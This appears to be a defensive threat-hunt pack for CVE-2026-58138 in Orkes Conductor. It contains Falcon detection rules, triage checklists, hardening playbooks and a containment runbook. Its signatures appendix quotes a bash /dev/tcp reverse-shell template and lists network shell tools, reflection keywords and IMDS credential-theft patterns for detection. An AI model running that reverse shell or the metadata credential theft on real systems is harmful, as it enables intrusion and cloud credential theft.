Alert email bodyA Java process on ComputerName / aid spawned FileName (command line: CommandLine) running as UserName. If this host runs Orkes Conductor OSS on a version between 3.21.21 and 3.30.1, this pattern matches the known post-exploitation signature for CVE-2026-58138, a critical unauthenticated RCE via GraalVM script-evaluator escape. Immediate action: confirm whether this host runs Conductor and at what version (§7 checks), preserve the full process tree and command line, and treat the finding as a confirmed compromise if the version is unpatched.
Triage checklist 1. Confirm the parent Java process is Conductor via Q2's command-line signature or §7 checks.
2. Pull the full process tree (grandparent, parent, child, command line, working directory).
3. Check the Conductor version against the vulnerable range (3.21.21 – < 3.30.2).
4. Review recently registered workflow definitions for INLINE/LAMBDA/DO_WHILE/SWITCH tasks (§7 step 5).
5. Run Q4 (temp-dir writes), Q5 (outbound connections), and Q6 (IMDS access) for the same aid/time window.
6. If the version is confirmed vulnerable and the process lineage is unexplained, isolate the host/pod.
7. Rotate any credentials or secrets referenced in workflow definitions or environment variables on the host.
8. Patch to Conductor 3.30.2+ and open a formal IR case if compromise is confirmed.
Pivot queriesHost-scoped: add | aid="<aid>" to Q4/Q5/Q6/Q7/Q9/Q10 and run against 30 days. Environment-wide: run Q2 unscoped to find every other Conductor host that may share the same exposure.

IOA Candidate 2 — Q6: Curl/Wget Reaching Cloud Instance Metadata Service

FieldValue
Scheduled Search nameDETECT — Shelled-Out Process Queries Cloud IMDS (Credential Theft)
DescriptionFires when curl or wget, rather than an application's own in-process SDK, queries the cloud instance metadata service (169.254.169.254). This is a high-confidence signal of shell-based cloud-credential theft, commonly following an RCE foothold such as CVE-2026-58138.
Alert email subject[HIGH] Detection: Curl/Wget Queried Cloud Instance Metadata Service — Possible Credential Theft
Alert email bodyHost ComputerName / aid ran ContextBaseFileName (parent: ParentBaseFileName) to query the cloud instance metadata service, a technique used to steal the host/pod's cloud IAM credentials after gaining code execution. Immediate action: identify what IAM role/instance profile is attached to this host, assume its credentials are compromised, rotate or revoke them, and correlate with Q3 for the initial-access process tree.
Triage checklist 1. Confirm the process lineage — is ParentBaseFileName java, sh, or bash (consistent with post-RCE activity)?
2. Identify the IAM role/instance profile attached to the underlying instance or pod.
3. Check CloudTrail/cloud-provider audit logs for API calls using that role's credentials around and after this timestamp.
4. Run Q3 for the same aid to find the originating shell-spawn event.
5. Revoke/rotate the affected role's credentials or session tokens immediately.
6. Escalate to cloud security/IR — credential theft via IMDS frequently precedes lateral movement into other cloud resources.
Pivot queriesHost-scoped: | aid="<aid>" against Q3/Q4/Q7 for the surrounding 30 minutes. Environment-wide: run Q6 unscoped across the fleet to check for the same pattern on other cloud-hosted assets.

IOA Candidate 3 — Q8: /dev/tcp Reverse Shell (Fleet-Wide)

FieldValue
Scheduled Search nameDETECT — Bash /dev/tcp Reverse Shell (Fleet-Wide)
DescriptionFires on the classic bash /dev/tcp pseudo-device reverse-shell technique, regardless of parent process. Not specific to Conductor exploitation, but a well-precedented post-RCE follow-on (see §2 Kestra/CISA analogy) worth alerting on fleet-wide.
Alert email subject[HIGH] Detection: /dev/tcp Reverse Shell Syntax Observed
Alert email bodyHost ComputerName / aid executed a command referencing the /dev/tcp pseudo-device (command line: CommandLine), the standard bash-native reverse-shell technique. This pattern is rarely legitimate. Immediate action: isolate the host pending triage and pull the full process tree and network connections for the affected aid.
Triage checklist 1. Pull the full process tree and command line for the flagged event.
2. Check for a corresponding outbound connection via Q5/NetworkConnectIP4 from the same aid.
3. Determine whether the host runs Conductor (Q2) — if so, correlate with Q3/Q6.
4. Isolate the host if the activity is unexplained.
5. Preserve forensic artifacts before remediation.
Pivot queriesHost-scoped: | aid="<aid>" against Q3, Q5, Q9, Q10 for the surrounding hour.

Investigate-Only Queries (Q1, Q2, Q4, Q5, Q7, Q9, Q10)

QueryHunt DescriptionInvestigation Notes
Q1Inventories hosts listening on Conductor's default port.Exposure discovery, not a detection — cross-reference with Q2 to confirm it is actually Conductor.
Q2Inventories hosts running a Conductor server process via command-line signature.High confidence, low noise — the practical starting point for scoping every other query to your real Conductor fleet.
Q4Flags new executables written to /tmp by a Java-parented process.High legitimate-JVM-activity rate; correlate with Q3 before triage.
Q5Flags outbound connections from the Conductor process to non-private addresses.Conductor's normal job generates heavy legitimate egress; needs a destination allowlist before promotion.
Q7Flags Java-parented processes reading secret/environment data.High FP from routine admin/debug activity; correlate with Q3 in the same window.
Q9Flags known cryptominer binary names in a Java/shell lineage.Low-recall opportunistic net-catch — attackers commonly rename miner binaries.
Q10Flags crontab/systemctl invocation from a Java/shell lineage.Weak signal on ephemeral Kubernetes pods; stronger on persistent VM/host Conductor deployments.
10

Machine-Readable IOC Appendix

This campaign has no published atomic network/file IOCs (no C2 IPs, domains, or hashes). The blocks below are exposure-discovery checklists, behavioral fingerprints, and the version/patch matrix — the actual sourced, actionable material for this threat.

Exposure Discovery Checklistfind it first
# Internet-exposure query (Shodan / Censys)
http.title:"Conductor UI"

# Default listener
TCP/8080

# Fingerprint paths
/swagger-ui
/api/metadata/workflow
/api/workflow

# Container image family to search inventory/Helm charts for
conductoross/conductor

# There is currently no credentialed Tenable or Qualys plugin for
# CVE-2026-58138 (per Empirical Security, as of Sep 2026) -- a clean
# vulnerability-scanner report does NOT mean you are unexposed.
Behavioral Signaturesnot file/network atomic
# Abused task types (workflow-definition review)
INLINE, LAMBDA, DO_WHILE, SWITCH

# Abused evaluator types
javascript, graaljs, python

# GraalVM config that disables the sandbox (pre-3.30.2)
HostAccess.ALL              (JavaScript evaluator)
allowAllAccess(true)        (Python evaluator)

# Reflection/interop keywords to flag inside workflow-definition
# expression text
getClass, forName, Runtime, ProcessBuilder, array reflection

# Downstream process-boundary proxy for the in-JVM sandbox escape
# (this is what Q3 hunts)
Java (Conductor) process directly spawning: sh, bash, curl, wget,
python, node, nc/ncat/socat, powershell

# Reverse-shell technique precedented by the analogous Kestra/CISA
# case (generic, not confirmed for this campaign specifically)
bash -i >& /dev/tcp/<host>/<port> 0>&1   (hunted via Q8's "*dev/tcp*" match)
Affected Version / Patch Matrixverify before you hunt
CVE-2026-58138   Orkes Conductor GraalVM evaluator RCE (CVSS 9.8/9.3)
                 CWE-94 (Code Injection)      CISA KEV: NOT listed
                                              (as of 2026-09-19)

[ ] Verify Conductor OSS version is 3.30.2 or later
[ ] Do NOT treat 3.30.0 or 3.30.1 as fixed -- both shipped only a
    partial reflection blocklist; 3.30.2 is the complete fix
[ ] Confirm the Workflow API is not reachable without authentication
    (curl the API and confirm it is rejected, or fronted by a proxy)
[ ] Confirm the Workflow API is not exposed directly to the internet
[ ] Review registered workflow definitions for INLINE/LAMBDA/DO_WHILE/
    SWITCH tasks with reflection-capable expressions (Section 7)
[ ] Confirm the Conductor process/container is not running as root
[ ] Treat any environment variables or embedded secrets on an
    unpatched, internet-reachable Conductor host as exposed
Campaign Telemetry SnapshotFortiGuard, as of 2026-09-09/15
Attempts blocked, trailing 24h (as of 2026-09-09): 1,290  (+132% DoD)
Attempts blocked, trailing 7d  (as of 2026-09-09): 6,696  (+17% WoW)
Top attack-source countries: Germany, Hong Kong, Indonesia,
                              United Arab Emirates, India
Previdian honeypot hits since 2026-07-24: 3 (2 unique source IPs,
                              located in France and the U.S.)
Empirical Security exploitation telemetry: recurring across multiple
                              windows, most recent 2026-08-21
Exploit-DB weaponized PoC published: 2026-08-09 (EDB-52633, targets
                              Conductor v3.23.0)
Fix shipped: 2026-06-03 (release 3.30.2)
CVE published: 2026-06-30 (~4 weeks AFTER the fix, with no CVE
                              reference in the original release notes)
11

Detection Validation Gates

GateRequirementStatus
Field-name validationEvery CQL field validated against the known Falcon data model (lint_cql_fields.py) or explicitly flaggedPass — 10/10 queries use only documented Falcon fields (aid, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine, ContextBaseFileName, RemoteAddressIP4, RemotePort, TargetFileName)
Event-name validationEvery #event_simpleName value is a real Falcon event (lint_cql_syntax.py)Pass — ProcessRollup2, NetworkListenIP4, NetworkConnectIP4, ElfFileWritten, NewExecutableWritten are all documented crowdstrike-logscale-v3 events
CONF/FP/COST ratings presentEvery query carries all three ratingsPass — 10/10
FP exclusion guidance (medium+ FP)Every FP-medium-or-higher query has a // TUNING: notePass — 10/10
IOC provenanceEvery atomic IOC traces to a saved source snapshot; untraceable IOCs dropped or converted to behavioral/placeholderPass — this pack ships zero atomic network/file IOCs (no C2 IPs, domains, or hashes exist in any snapshotted source); every sourced fact in §4/§10 (versions, ports, endpoints, task types, telemetry figures) traces to sources/ — see §18
Coverage-gap honestyPre-auth HTTP layer and in-JVM script evaluation explicitly marked not Falcon-visible, not glossed overPass — see §1, §3, §5, §6, §15
Source-attribution honestyClaims not attributed to a source that doesn't actually make them (e.g. borrowing CISA reporting about a different CVE)Pass — see §2 callout distinguishing the Kestra/CISA reverse-shell/miner precedent from confirmed Conductor-specific TTPs
Regex path-slash safetyNo unescaped path separator inside a /.../ CQL regex; basenames matched via FileName-style fields, path substrings via quoted-string wildcardsPass — all basename matches use FileName/ParentBaseFileName/ContextBaseFileName; all path-substring matches (e.g. Q4, Q8) use quoted-string wildcards ("/tmp/*", "*dev/tcp*"), never a /.../ regex containing a slash
HTML escaping in <pre> blocks<, >, & escaped throughout, including bare >=Pass — verified against verify_huntpack.py
Gold template structureFixed left sidebar with show/hide toggle, hp-header/meta-grid hero, section/section-hdr/section-body skeleton, region selector inside the CQL section, all five Falcon cloudsPass — built directly on the proven gold template (PivotC2-FortiGate-CVE-2025-25249-Hunt.html)
No offensive/exploit codeNo working exploit payload or step-by-step reproduction reproduced from the cited GitHub PoC or Exploit-DB entryPass — see §2 disclaimer; only the exploitation mechanism and sample tool output are described, no payload/script reproduced
12

Hardening — Tiered

Immediate (this week)

ControlMITRE MitigationAuthorityVerification
Upgrade every Conductor OSS deployment to 3.30.2 or later — do not stop at 3.30.0/3.30.1, which shipped only a partial reflection blocklistM1051 (Update Software)NVD (official fix version); Empirical Security (confirms 3.30.0/3.30.1 are incomplete fixes)Jar manifest / container image tag confirms >=3.30.2; §7 step 3
Restrict the Workflow API (/api/metadata/workflow, /api/workflow) so it cannot be reached without authentication — front it with an authenticating reverse proxy or a network-level access control if you cannot patch immediatelyM1030 (Network Segmentation), M1032 (Multi-factor Authentication, where feasible)FortiGuard Threat Signal #6527 explicit mitigation guidance; Empirical Security ("put it behind a reverse proxy that requires authentication")§7 step 4 — unauthenticated request to the Workflow API is rejected (401/403) rather than accepted
Ensure no Conductor Workflow API is directly reachable from the public internetM1030 (Network Segmentation)FortiGuard Threat Signal #6527; SecurityWeek remediation guidanceExternal port scan / cloud security-group audit confirms no public ingress on the Conductor listener port
Review registered workflow definitions for INLINE/LAMBDA/DO_WHILE/SWITCH tasks with reflection-capable expressionsM1047 (Audit)Empirical Security explicit hunt guidance§7 step 5 returns no unexplained matches

Near-term (1–4 weeks)

ControlMITRE MitigationAuthorityVerification
Run Conductor as a non-root, least-privilege service account inside its container/VMM1026 (Privileged Account Management)CIS Docker Benchmark / CIS Kubernetes Benchmark — best-practice (no formal benchmark names Conductor specifically)§7 step 8 — pod/container securityContext shows runAsNonRoot: true, no CAP_SYS_ADMIN or similar
Enforce IMDSv2 (session-token-required metadata access) and set the instance-metadata hop limit to 1 where hosted on AWS; equivalent controls on Azure/GCPM1030 (Network Segmentation, adjacent), M1047 (Audit)AWS IMDSv2 guidance (industry best-practice) — this pack's own finding (Q6) motivates the control, not a vendor advisory specific to this CVECloud-provider CLI confirms IMDSv1 is disabled / hop limit is 1
Ingest Conductor's own application/access logs into Falcon Next-Gen SIEM (or an existing SIEM) to close the pre-auth HTTP-layer visibility gap identified in §5/§15M1047 (Audit)⚠ best-practice, no formal benchmark — visibility control specific to this pack's stated coverage gapA test unauthenticated POST to the Workflow API appears as a searchable event within 15 minutes
Move secrets referenced by workflow definitions out of plaintext environment variables and into a dedicated secrets manager (Vault, cloud KMS-backed secret store)M1026 (Privileged Account Management, adjacent)CIS Controls v8, Control 3 (Data Protection) — best-practiceWorkflow-definition review (§7 step 5) shows no plaintext secret values in task inputs/expressions

Strategic (1–3 months)

ControlMITRE MitigationAuthorityVerification
Formal vulnerability-management SLA for self-hosted internal/orchestration tooling that does NOT depend solely on CISA KEV listing — this CVE is not KEV-listed as of 2026-09-19 despite confirmed active exploitationM1051 (Update Software), process controlEmpirical Security ("CISA KEV: Not listed") — this pack's own finding motivates the controlAudit shows a documented internal severity/exploitation-driven patch SLA independent of KEV status
Asset-inventory program specifically covering internally adopted open-source orchestration/agent platforms (Conductor, and similar tools), since they rarely appear in traditional software inventoriesM1047 (Audit)Empirical Security ("Conductor rarely shows up in inventory as 'Conductor'") — best-practiceFleet-wide Q1/Q2 sweep is run on a recurring schedule and reconciled against the asset inventory
Network-segment and service-mesh-isolate internal orchestration platforms from sensitive internal subnets to limit blast radius of any future RCE in this class of softwareM1030 (Network Segmentation)CIS Controls v8, Control 12 (Network Infrastructure Management) — best-practiceFrom the Conductor host/pod, confirm network policy blocks reach into sensitive VLANs/namespaces by default
13

Deployable Playbooks

Playbook A — Upgrade Conductor to a Patched Release (3.30.2+)

! 1. Back up the Conductor database/config before upgrading
pg_dump conductor > conductor-backup-$(date +%F).sql   # or your DB's equivalent

! 2. Confirm current version
docker inspect <container_id> --format '{{.Config.Image}}'

! 3. Pull the fixed image tag (verify it is >=3.30.2, not 3.30.0/3.30.1)
docker pull conductoross/conductor:3.30.2

! 4. Roll the deployment (example: Kubernetes)
kubectl set image deployment/conductor-server \
    conductor-server=conductoross/conductor:3.30.2 -n <namespace>
kubectl rollout status deployment/conductor-server -n <namespace>

! 5. Post-upgrade, re-verify version and re-run the Section 7 checks
unzip -p /app/libs/conductor-server-*.jar META-INF/MANIFEST.MF | grep -i Implementation-Version
Prerequisites: Current database/config backup completed; confirmed target image tag is 3.30.2 or later (not 3.30.0/3.30.1); verified upgrade path in Conductor's own release notes for the specific current/target version pair; maintenance window scheduled if the deployment is not rolling-update capable. Reboot required: No reboot of the underlying host; the Conductor service/pod itself restarts as part of the rolling update. Rollback: Redeploy the previous image tag (kubectl set image ... conductor-server=conductoross/conductor:<previous-tag>) and restore the database backup taken in step 1 if a schema-incompatible change is suspected.

Playbook B — Front the Workflow API With an Authenticating Reverse Proxy

# nginx example: require basic auth on the Conductor Workflow API
# and UI paths until (or in addition to) the 3.30.2 upgrade
server {
    listen 443 ssl;
    server_name conductor.internal.example.com;

    location / {
        auth_basic           "Conductor Access";
        auth_basic_user_file /etc/nginx/conductor.htpasswd;
        proxy_pass           http://127.0.0.1:8080;
        proxy_set_header      Host $host;
        proxy_set_header      X-Real-IP $remote_addr;
    }
}

# Kubernetes NetworkPolicy: restrict ingress to the Conductor service
# to only the specific internal callers that legitimately need it
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: conductor-restrict-ingress
  namespace: <namespace>
spec:
  podSelector:
    matchLabels:
      app: conductor-server
  policyTypes: ["Ingress"]
  ingress:
    - from:
        - namespaceSelector:
            matchLabels:
              name: <trusted-caller-namespace>
Prerequisites: Inventory of every legitimate caller of the Workflow API (internal services, CI/CD, admin UI users) so the auth/allowlist does not break production workflows; TLS certificate available for the reverse-proxy listener. Reboot required: No. Rollback: Remove or disable the auth_basic directive and reload nginx (nginx -s reload); delete the NetworkPolicy (kubectl delete networkpolicy conductor-restrict-ingress -n <namespace>) to restore prior connectivity. Only roll back after confirming the 3.30.2 upgrade (Playbook A) is complete — removing this control on an unpatched instance re-opens the unauthenticated RCE path.

Playbook C — Enforce IMDSv2 and Restrict Metadata-Service Egress

# AWS: require IMDSv2 session tokens and cap the hop limit at 1
aws ec2 modify-instance-metadata-options \
    --instance-id <instance-id> \
    --http-tokens required \
    --http-put-response-hop-limit 1

# Kubernetes NetworkPolicy: deny pod egress to the metadata service
# except for a short allowlist of pods that legitimately need it
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-imds-egress
  namespace: <namespace>
spec:
  podSelector:
    matchLabels:
      app: conductor-server
  policyTypes: ["Egress"]
  egress:
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
              - 169.254.169.254/32
Prerequisites: Confirm which workloads legitimately need IMDS access (e.g. the AWS SDK's own in-process credential refresh, which does not require this port to be reachable from a spawned shell) before applying a blanket egress deny; test in a non-production namespace first. Reboot required: No — IMDSv2 enforcement and NetworkPolicy changes apply live; existing long-lived IMDSv1-based sessions may need to reconnect. Rollback: aws ec2 modify-instance-metadata-options --instance-id <instance-id> --http-tokens optional to restore IMDSv1; kubectl delete networkpolicy deny-imds-egress -n <namespace> to restore metadata-service egress.

Playbook D — Run Conductor as a Non-Root, Restricted Container

apiVersion: apps/v1
kind: Deployment
metadata:
  name: conductor-server
spec:
  template:
    spec:
      containers:
        - name: conductor-server
          image: conductoross/conductor:3.30.2
          securityContext:
            runAsNonRoot: true
            runAsUser: 1000
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities:
              drop: ["ALL"]
Prerequisites: Confirm the Conductor image supports running as a non-root UID (test in a staging namespace — some task-worker plugins or file-system-writing extensions may assume root or a writable root filesystem, requiring an explicit writable emptyDir volume mount for their working directory). Reboot required: No — pod restart only, as part of the deployment rollout. Rollback: Remove or relax the securityContext block and redeploy (kubectl rollout undo deployment/conductor-server -n <namespace>) if a task worker breaks under the restricted profile; investigate the specific failure before reintroducing broader privileges rather than reverting wholesale.
14

Containment Runbook

PhaseActions
Isolate 1. Confirm which hosts/pods run Conductor and at what version (§7, Q1/Q2).
2. For any host on the vulnerable range (3.21.21 – < 3.30.2) that is internet-reachable, apply Playbook B (authenticating reverse proxy / NetworkPolicy) immediately, even before the version upgrade completes.
3. If Q3, Q6, or Q8 fires, isolate that host/pod from the network pending triage.
4. Kill any confirmed-malicious spawned processes (reverse shell, miner) identified via Q3/Q8/Q9.
Eradicate 1. Apply Playbook A (upgrade to 3.30.2+) to every affected Conductor deployment.
2. Remove confirmed persistence artifacts (cron entries, systemd units) identified via Q10 and §7 step 6.
3. Rebuild the container/host from a clean, patched image rather than trusting in-place cleanup — arbitrary code execution means the full extent of persistence cannot be guaranteed by artifact removal alone.
4. Apply Playbook D (non-root, restricted container) as part of the rebuild.
Recover 1. Re-verify the patched version and re-run all §7 checks clean before returning the service to production.
2. Rotate every credential/secret that was reachable from the compromised Conductor process — workflow-definition secrets, environment variables, and (if Q6 fired) the cloud IAM role/instance-profile credentials.
3. Apply Playbook C (IMDSv2 enforcement / metadata egress restriction).
4. Monitor Q1–Q10 for 30 days post-recovery for any recurrence.
5. Conduct a lessons-learned review covering how long the instance was internet-reachable, why authentication was not already in front of it, and whether the asset-inventory program (§12 strategic) should be accelerated to catch the next unauthenticated internal tool.
15

Detection Coverage Map

Technique / StepBehaviorCQLIOACoverage
T1190 — Unauthenticated exploitation of the Workflow APIPre-auth HTTP POST registering a malicious workflow definitionGap — HTTP-layer request, not a native Falcon endpoint event; requires NG SIEM app-log ingestion to see directly. Mitigate via Playbook A/B; do not expect endpoint EDR to catch this step.
T1059.007/T1059.006 — GraalVM script evaluation / sandbox escapeMalicious JS/Python expression evaluated in-JVM, reflects to Runtime/ProcessBuilderGap — happens entirely inside the JVM process, no process boundary crossed. Q3 is the practical downstream proxy the moment a child process spawns.
T1059.004 — Shell/interpreter child processsh/bash/curl/wget/python/node spawned by the Conductor JVMQ3Candidate 1High — this is the core, well-instrumented detection, provided the Falcon sensor covers the specific host/container
T1552.005 — Cloud IMDS credential theftShelled-out curl/wget to 169.254.169.254Q6Candidate 2High — precise, low-FP signal for the shelled-out retrieval pattern specifically
T1552.001 — Workflow-definition/environment secret readingcat/env/grep of secret-named files or variablesQ7Medium — high FP from legitimate admin activity, needs correlation with Q3
T1105 — Second-stage tooling retrievalcurl/wget fetching additional payloads; new executables written to temp dirsQ3, Q4, Q5Medium — Q3/Q4 solid, Q5 high-FP without a destination allowlist
T1059 (reverse shell, generic)bash /dev/tcp interactive reverse shellQ8Candidate 3High signal, but explicitly NOT confirmed as this campaign's specific technique — see §2
T1496 — Resource hijacking / cryptominingKnown miner binary spawned in a Java/shell lineageQ9Low-Medium — opportunistic, attackers commonly rename miner binaries; NOT confirmed as this campaign's specific technique — see §2
T1053.003/T1543.002 — Cron/systemd persistenceCron entry or systemd unit installed from a Java/shell lineageQ10Medium — strong on VM/host deployments, weak on ephemeral Kubernetes pods
T1611 — Container escapePotential given frequent root execution; no confirmed reportingGap — not hunted directly in this pack; no source confirms this has occurred in this campaign
Bottom line. The exploitation vector itself (the unauthenticated HTTP request, and the in-JVM GraalVM sandbox escape) is invisible to Falcon endpoint telemetry by design — that gap closes only with NG SIEM application-log ingestion or the patch. Everything from the first spawned child process onward is ordinary, well-instrumented process/network telemetry as long as the Falcon sensor actually covers the host or container Conductor runs in — the real-world risk in this specific case is sensor coverage of short-lived Kubernetes workloads, not a fundamental telemetry gap. Patch to 3.30.2+ (§12) and restrict/authenticate the Workflow API (Playbook B) remain the only ways to prevent the exploitation itself.
16

Hunt Summary Ticket

HUNT TICKET — Orkes Conductor Unauthenticated RCE (CVE-2026-58138)
TITLE.....: Orkes Conductor Unauthenticated RCE via GraalVM Evaluator Escape (CVE-2026-58138)
THREAT....: Unauthenticated remote attackers exploiting an unsandboxed GraalVM
            script evaluator in Orkes Conductor OSS 3.21.21 - <3.30.2
SEVERITY..: Critical (CVSS 9.8 v3.1 / 9.3 v4.0) / NOT CISA KEV-listed as of 2026-09-19
SCOPE.....: Fortinet blocked 1,290 attempts/24h (+132% DoD) and 6,696 attempts/7d
            (+17% WoW) as of 2026-09-09; top source countries DE/HK/ID/AE/IN;
            active since >= 2026-07-24 (Previdian honeypot); most recent confirmed
            exploitation 2026-08-21 (Empirical Security)
HYPOTHESIS: Any internet-reachable, unpatched Conductor instance is a likely
            unauthenticated-RCE target; the JVM crossing into a spawned shell,
            outbound connection, or IMDS query is the first Falcon-visible signal
            after the (invisible) in-JVM sandbox escape.
QUERIES...: 10 CQL hunts (Q1-Q10); 3 promoted to Custom IOA candidates (Q3, Q6, Q8)
DO FIRST..: (1) Run Q1/Q2 fleet-wide to inventory every Conductor host and confirm
            version. (2) Patch every host on 3.21.21-3.30.1 to 3.30.2+. (3) Run Q3
            across the full Falcon fleet for shell/interpreter children of java.
FINDINGS..: [analyst to fill in after first run]
GAPS......: The unauthenticated HTTP exploitation request and the in-JVM GraalVM
            script evaluation are NOT visible to Falcon endpoint telemetry (no
            process boundary crossed). Reverse-shell (Q8) and cryptominer (Q9)
            queries are generic post-exploitation patterns, NOT confirmed TTPs for
            this specific campaign -- see Section 2.
ACTIONS...: Inventory (Q1/Q2) -> patch (Playbook A) -> authenticate/restrict the
            Workflow API (Playbook B) -> enforce IMDSv2 (Playbook C) -> run as
            non-root (Playbook D) -> monitor Q1-Q10 for 30 days.
OWNER.....: [assign at ticket creation]
VERSION...: 1.0 -- 2026-09-19
17

Changelog

v1.02026-09-19Initial release. Built from The Hacker News, two FortiGuard Labs publications (Outbreak Alert + Threat Signal Report), the live NVD REST API record, Empirical Security's deep technical writeup, SecurityWeek, a public GitHub PoC repository (mechanism-only, no exploit code reproduced), a dev.to structured brief, and Bellator Cyber Guard. 10 behavioral CQL hunt queries (no atomic network/file IOCs exist for this campaign — none fabricated), 3 IOA candidates, full hardening/playbook/containment sections, and an explicit honesty callout distinguishing the confirmed campaign facts from the analogous-but-distinct CISA/Kestra reverse-shell-and-miner precedent.
18

References

  1. The Hacker News — "Critical Pre-Auth RCE in Orkes Conductor Workflow Platform Exploited in the Wild" (Sep 19, 2026). thehackernews.com — saved: sources/01-thehackernews.txt
  2. FortiGuard Labs — Outbreak Alert "Orkes Conductor Evaluator Remote Code Execution" (released Sep 15, 2026). fortiguard.fortinet.com — saved: sources/02-fortiguard-outbreak-alert.txt
  3. FortiGuard Labs — Threat Signal Report #6527 "Orkes Conductor Evaluator Remote Code Execution" (Sep 9, 2026). fortiguard.com — saved: sources/03-fortiguard-threat-signal.txt
  4. NIST National Vulnerability Database — CVE-2026-58138 record (live REST API). nvd.nist.gov/vuln/detail/CVE-2026-58138 — saved: sources/04-nvd-api.json
  5. Empirical Security — "September 2026 CVE of the Month: The 9.8 Nobody Knows They Are Running (CVE-2026-58138)" by Jerry Gamblin (Sep 1, 2026). research.empiricalsecurity.com — saved: sources/05-empirical-security.txt
  6. SecurityWeek — "Critical Orkes Conductor Vulnerability Exploited in Attacks" by Ionut Arghire (Sep 18, 2026). securityweek.com — saved: sources/06-securityweek.txt
  7. GitHub — 0xgh057r3c0n/CVE-2026-58138 public PoC repository (mechanism/technical reference only — no exploit code reproduced in this pack). github.com/0xgh057r3c0n/CVE-2026-58138 — saved: sources/07-github-poc-0xgh057r3c0n.txt
  8. DEV Community (Anoymask) — "Orkes Conductor CVE-2026-58138: Exploitation Activity Observed Against Unauthenticated Workflow RCE" (Sep 19, 2026, citing Empirical Security). dev.to/anoymask — saved: sources/08-devto-anoymask-brief.txt
  9. Bellator Cyber Guard — "Orkes Conductor Flaw Under Active Attack, Patch Now" (Sep 19, 2026). bellatorcyber.com — saved: sources/09-bellatorcyber.txt
  10. The Hacker News — "CISA Adds Seven Exploited Flaws as Attackers Deploy Reverse Shells and Crypto Miners" (Sep 3, 2026) — cited only for the analogous Kestra OSS (CVE-2026-49869) precedent referenced in §2; NOT about CVE-2026-58138. thehackernews.com — saved: sources/10-thehackernews-cisa-kestra-analog.txt
  11. cvefeed.io — CVE-2026-58138 detail aggregation (corroborating, not primary). cvefeed.io — saved: sources/11-cvefeed.txt
  12. OpenCVE — CVE-2026-58138 vulnerability details (corroborating, not primary). app.opencve.io — saved: sources/12-opencve.txt
  13. kkm-mako.com — "Unauthenticated RCE in Netflix/Orkes Conductor (CVE-2026-58138): Patch to 3.30.2 Now" (corroborating, not primary). kkm-mako.com — saved: sources/13-kkmmako.txt